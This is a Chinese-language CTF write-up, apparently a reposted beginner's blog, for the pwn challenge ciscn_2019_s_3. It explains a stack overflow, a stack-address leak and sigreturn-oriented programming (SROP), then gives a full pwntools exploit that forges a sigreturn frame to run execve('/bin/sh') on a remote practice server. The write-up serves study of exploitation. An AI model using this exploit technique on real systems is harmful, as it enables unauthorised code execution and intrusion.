本文主要是介绍ciscn_2019_s_3(SROP),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
0x01 分析
ida分析:
vuln:
read存在栈溢出,读入的地方是rsp-10,写入10个字节之后可以直接覆盖到return。0x19-0x0F=10。
gadgets:
这里需要注意两个地方:mov rax,15 和 mov rax,59。这里涉及到Linux系统调用:
15对应的是sys_rt_sigreturn系统调用;
59对应的是sys_execve系统调用
所以这道题目可以有两种办法来做。
-
第一种办法是依靠59对应的execve,然后想办法执行execve(“/bin/sh”,0,0)
-
第二种办法是依靠15对应的sys_rt_sigreturn,借助sigreturn frame来执行execve(“/bin/sh”,0,0)
我采用第二种方法。
0x02 溢出
gdb动态调试
第一次不要溢出刚好覆盖到返回地址就好,距离binsh位置还未知。
0x00007fffffffdec8 - 0x7fffffffddb0 = 0x118,这个偏移是固定的,那么我们可以通过write函数打印出这个地址,然后减去这个偏移,就能得到/bin/sh的地址
可以将binsh保存在栈中,知道binsh的地址。然后调用SROP,将rax=59,rbx=syscall,rdi=binsh
from pwn import *
context.arch='amd64'
p=remote('node4.buuoj.cn',28790)
#p=process("./ciscn_s_3")
elf=ELF('./ciscn_s_3')gadget=0x4004DA
syscall=0x400517
vuln=0x4004ED
p.send('a'*0x10+p64(vuln))binsh=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x118
0x03 SROP
SROP(Sigreturn Oriented Programming),Sigreturn是一个系统调用,它在unix系统发生signal的时候会被间接地调用。
Signal机制在线代操作系统中被使用的非常广泛,例如:1、内核要kill一个进程;2、为进程设置定时器;3、通知进程一些异常事件。
SROP原理
1、内核向某进程发起一个signal,该进程被暂时挂起,进入内核;
2、内核保存该进程的上下文(ucontext save);
3、跳转到signal handler中处理相应的signal;
4、内核恢复之前保存的上下文(ucontext restore);
5、恢复进程执行。
linux下,内核会帮用户进程将其上下文保存在该进程的栈上,然后在栈填地址rt_sigreturn,这个地址指向一段代码,调用sigreturn系统调用。
当signal handler执行完之后,ESP/RSP就会指向rt_sigreturn,这样signal handler函数的最后一条指令ret会使得执行流跳转到这段sigreturn代码,执行sigreturn系统调用。
思路:在栈上放好上下文(sigreturn frame),自己调用sigreturn,跳过步骤1、2,通过步骤3、4让内核把我们伪造的上下文恢复到用户进程。实现控制通用寄存器、rip、栈劫持。
Iinux i386下调用sigreturn的代码在vdso中;linux x86_64下我们一般通过调用15号syscall来调用sigreturn。
pwntools中已经集成了对SROP的攻击方法。
frame=SigreturnFrame()
frame.rax=59
frame.rdi=binsh
frame.rip=syscall
frame.rsi=0
payload="/bin/sh\x00"*2+p64(gadget)+p64(syscall)+str(frame)
p.send(payload)
0x04 完整EXP
from pwn import *
context.arch='amd64'
p=remote('node4.buuoj.cn',28790)
#p=process("./ciscn_s_3")
elf=ELF('./ciscn_s_3')gadget=0x4004DA
syscall=0x400517
vuln=0x4004ED
p.send('a'*0x10+p64(vuln))binsh=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x118frame=SigreturnFrame()
frame.rax=59
frame.rdi=binsh
frame.rip=syscall
frame.rsi=0
payload="/bin/sh\x00"*2+p64(gadget)+p64(syscall)+str(frame)
p.send(payload)p.interactive()
0x05 写在最后
参考链接:
http://liul14n.top/2020/03/07/Ciscn-2019-s-3/
【星盟安全】PWN全集,从入门到精通,最通俗易懂的CTF,持续更新中_哔哩哔哩_bilibili
萌新的第一篇博客,有任何错误请指正~
这篇关于ciscn_2019_s_3(SROP)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!